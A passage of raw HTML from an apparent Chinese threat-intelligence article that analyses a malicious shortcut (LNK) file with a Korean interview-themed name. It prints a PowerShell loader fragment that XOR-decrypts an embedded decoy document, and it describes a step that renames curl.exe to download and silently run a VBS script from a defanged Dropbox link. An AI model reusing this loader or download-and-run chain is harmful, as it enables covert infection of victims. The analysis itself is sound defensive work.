mpa-font-style="mp3oumw51f5w" style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="font-size: 9pt;"><span leaf=""><span textstyle="" style="font-weight: normal;">$wire=[System.IO.BinaryReader]::new([System.IO.File]::open($notify,[System.IO.FileMode]::Open,[System.IO.FileAccess]::Read,[System.IO.FileShare]::Read)); //</span></span></span><span style="font-size: 9pt;"><font><span leaf=""><span textstyle="" style="font-weight: normal;">读取文件</span></span></font></span></span></p><p style="" data-mpa-action-id="mp3oumwpkws"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 9pt;" mpa-font-style="mp3oumw517iq"><span leaf=""><span textstyle="" style="font-weight: normal;">try</span></span></span></p><p style="" data-mpa-action-id="mp3oumwp1ona"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 9pt;" mpa-font-style="mp3oumw56p1"><span leaf=""><span textstyle="" style="font-weight: normal;">{</span></span></span></p><p style="" data-mpa-action-id="mp3oumwp1xcv"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 9pt;" mpa-font-style="mp3oumw5elx"><span leaf=""><span textstyle="" style="font-weight: normal;">$wire.BaseStream.Seek(0x00001B58,[System.IO.SeekOrigin]::Begin);</span></span></span></p><p style="" data-mpa-action-id="mp3oumwp1hlf"><span mpa-font-style="mp3oumw5uz5" style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="font-size: 9pt;"><span leaf=""><span textstyle="" style="font-weight: normal;">$snow=$wire.ReadBytes(0x06972);</span></span></span><span style="font-size: 9pt;"><font><span leaf=""><span textstyle="" style="font-weight: normal;">/</span></span></font></span><span style="font-size: 9pt;"><span leaf=""><span textstyle="" style="font-weight: normal;">/</span></span></span><span style="font-size: 9pt;"><font><span leaf=""><span textstyle="" style="font-weight: normal;">从</span></span></font></span><span style="font-size: 9pt;"><span leaf=""><span textstyle="" style="font-weight: normal;">0x00001B58</span></span></span><span style="font-size: 9pt;"><font><span leaf=""><span textstyle="" style="font-weight: normal;">处读取</span></span></font></span><span style="font-size: 9pt;"><span leaf=""><span textstyle="" style="font-weight: normal;">0x06972</span></span></span><span style="font-size: 9pt;"><font><span leaf=""><span textstyle="" style="font-weight: normal;">大小的数据</span></span></font></span></span></p><p style="" data-mpa-action-id="mp3oumwpino"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 9pt;" mpa-font-style="mp3oumw510rm"><span leaf=""><span textstyle="" style="font-weight: normal;">}finally</span></span></span></p><p style="" data-mpa-action-id="mp3oumwpsre"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 9pt;" mpa-font-style="mp3oumw5a3t"><span leaf=""><span textstyle="" style="font-weight: normal;">{</span></span></span></p><p style="" data-mpa-action-id="mp3oumwpn7q"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 9pt;" mpa-font-style="mp3oumw512lx"><span leaf=""><span textstyle="" style="font-weight: normal;">$wire.Close()</span></span></span></p><p style="" data-mpa-action-id="mp3oumwp1cza"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 9pt;" mpa-font-style="mp3oumw51n7c"><span leaf=""><span textstyle="" style="font-weight: normal;">};</span></span></span></p><p style="" data-mpa-action-id="mp3oumwpnsp"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 9pt;" mpa-font-style="mp3oumw5gbz"><span leaf=""><span textstyle="" style="font-weight: normal;">$black=0;</span></span></span></p><p style="" data-mpa-action-id="mp3oumwpadu"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 9pt;" mpa-font-style="mp3oumw521f9"><span leaf=""><span textstyle="" style="font-weight: normal;">$chair=0;</span></span></span></p><p style="" data-mpa-action-id="mp3oumwp1yf9"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 9pt;" mpa-font-style="mp3oumw51alg"><span leaf=""><span textstyle="" style="font-weight: normal;">$body=$snow.count;</span></span></span></p><p style="" data-mpa-action-id="mp3oumwp83t"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 9pt;" mpa-font-style="mp3oumw5r21"><span leaf=""><span textstyle="" style="font-weight: normal;">while ($black -lt $body)</span></span></span></p><p style="" data-mpa-action-id="mp3oumwp1t19"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 9pt;" mpa-font-style="mp3oumw51ljf"><span leaf=""><span textstyle="" style="font-weight: normal;">{</span></span></span></p><p style="" data-mpa-action-id="mp3oumwp1ccb"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 9pt;" mpa-font-style="mp3oumw512yo"><span leaf=""><span textstyle="" style="font-weight: normal;">$chipper=0x26;</span></span></span></p><p style="" data-mpa-action-id="mp3oumwp1ud3"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 9pt;" mpa-font-style="mp3oumw518ut"><span leaf=""><span textstyle="" style="font-weight: normal;">$date=($chipper+$black%2)%0x100;</span></span></span></p><p style="" data-mpa-action-id="mp3oumwp1w2b"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 9pt;" mpa-font-style="mp3oumw51ey1"><span leaf=""><span textstyle="" style="font-weight: normal;">$snow[$black]=$snow[$black] -bxor $date;</span></span></span></p><p style="" data-mpa-action-id="mp3oumwp21e6"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 9pt;" mpa-font-style="mp3oumw51le"><span leaf=""><span textstyle="" style="font-weight: normal;">$black++</span></span></span></p><p style="" data-mpa-action-id="mp3oumwp1104"><span mpa-font-style="mp3oumw544d" style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="font-size: 9pt;"><span leaf=""><span textstyle="" style="font-weight: normal;">};</span></span></span><span style="font-size: 9pt;"><font><span leaf=""><span textstyle="" style="font-weight: normal;">/</span></span></font></span><span style="font-size: 9pt;"><span leaf=""><span textstyle="" style="font-weight: normal;">/xor</span></span></span><span style="font-size: 9pt;"><font><span leaf=""><span textstyle="" style="font-weight: normal;">解密载荷</span></span></font></span></span></p><p style="" data-mpa-action-id="mp3oumwp18gp"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 9pt;" mpa-font-style="mp3oumw51270"><span leaf=""><span textstyle="" style="font-weight: normal;">[System.IO.File]::WriteAllBytes($oil,$snow);</span></span></span></p><p style="" data-mpa-action-id="mp3oumwp1dc7"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 9pt;" mpa-font-style="mp3oumw51nhe"><span leaf=""><span textstyle="" style="font-weight: normal;">if($comp -eq 1){</span></span></span></p><p style="" data-mpa-action-id="mp3oumwpofr"><span style="font-family: 仿宋;font-size: 9pt;"><span style="font-weight: bold;font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" mpa-font-style="mp3oumw517gg"><span leaf=""><span textstyle="" style="font-weight: normal;">$book=$oil</span></span></span></span></p></td></tr></tbody></table></p></div></div><p style="text-indent: 2em;text-align: justify;margin-top: 16px;margin-bottom: 16px;" data-pm-slice="0 0 []"><font face="仿宋"><span data-pm-slice="0 0 []"><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">这段代码的功能是在当前目录或者临时目录定位大小为</span></font></span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">0x0260F8字节</span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">（</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">156KB</span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">）的</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">L</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">NK</span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">文件，也就是名为</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">“</span></font><font face="Malgun Gothic"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">중국</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"> CMG </span><font face="Malgun Gothic"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">인터뷰</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">.docx.lnk”的</span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">文件，然后从偏移量</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"> 0x00001B58处读取0x06972字节（约27KB）数据</span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">。最后使用</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">X</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">OR</span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">算法解密出诱饵文件并打开。诱饵文档如下：</span></font></font></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8531889290012034" data-s="300,640" data-type="png" data-w="831" type="block" data-imgfileid="100024873" src="https://wechat2rss.xlab.app/img-proxy/?k=3c956dc5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXJJxsrVDX0h5icD028Hs3BHQibOXL6jg79n83WqHv1zOrZpKlaENjSGB3icKgnWLsxvibicsd8DJqsJAzkB7gBeqDwKIrhQhgQ2XaBU%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-indent: 2em;text-align: left;margin-top: 16px;margin-bottom: 16px;" data-pm-slice="0 0 []"><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">第二个功能是拷贝</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">cu</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">rl.exe</span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">为</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">TMP0392.exe</span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">，然后通过</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">T</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">MP0392.exe</span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">从远程地址</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">“https[:]//www.dropbox.com/scl/fi/0m6mp6c53dnj6eird0kpd/setting.ini?rlkey=s5ef1qsa9krhxcqkn3cthrs7e&amp;st=ip1rnvm2&amp;dl=0”</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">下载</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">“taskschd.vbs”</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">文件。最后将</span></font><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">“</span></font><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">taskschd.vbs</span><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">”加隐藏属性后执行，以避免受害者发现。</span></font></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.06618531889290012" data-s="300,640" data-type="png" data-w="831" type="block" data-imgfileid="100024874" src="https://wechat2rss.xlab.app/img-proxy/?k=f71c5371&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXLCJGQlL7sLvzuU6bsmnxjYHbj6PtiaGHM9U1AESJt1jZ4mcNOR4fyBwzuViaLmfz6JHR6d0zyjqiaBVpbiaqjoicuJKcIzpVic6Meaw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h2 style="text-indent: 0px;margin-top: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="color: rgb(190, 25, 31);font-weight: bold;">3. </span></span><b><font face="黑体"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="color: rgb(190, 25, 31);font-weight: bold;">攻击组件分析</span></span></font></b></h2><h3 style="text-indent: 0px;margin-top: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span 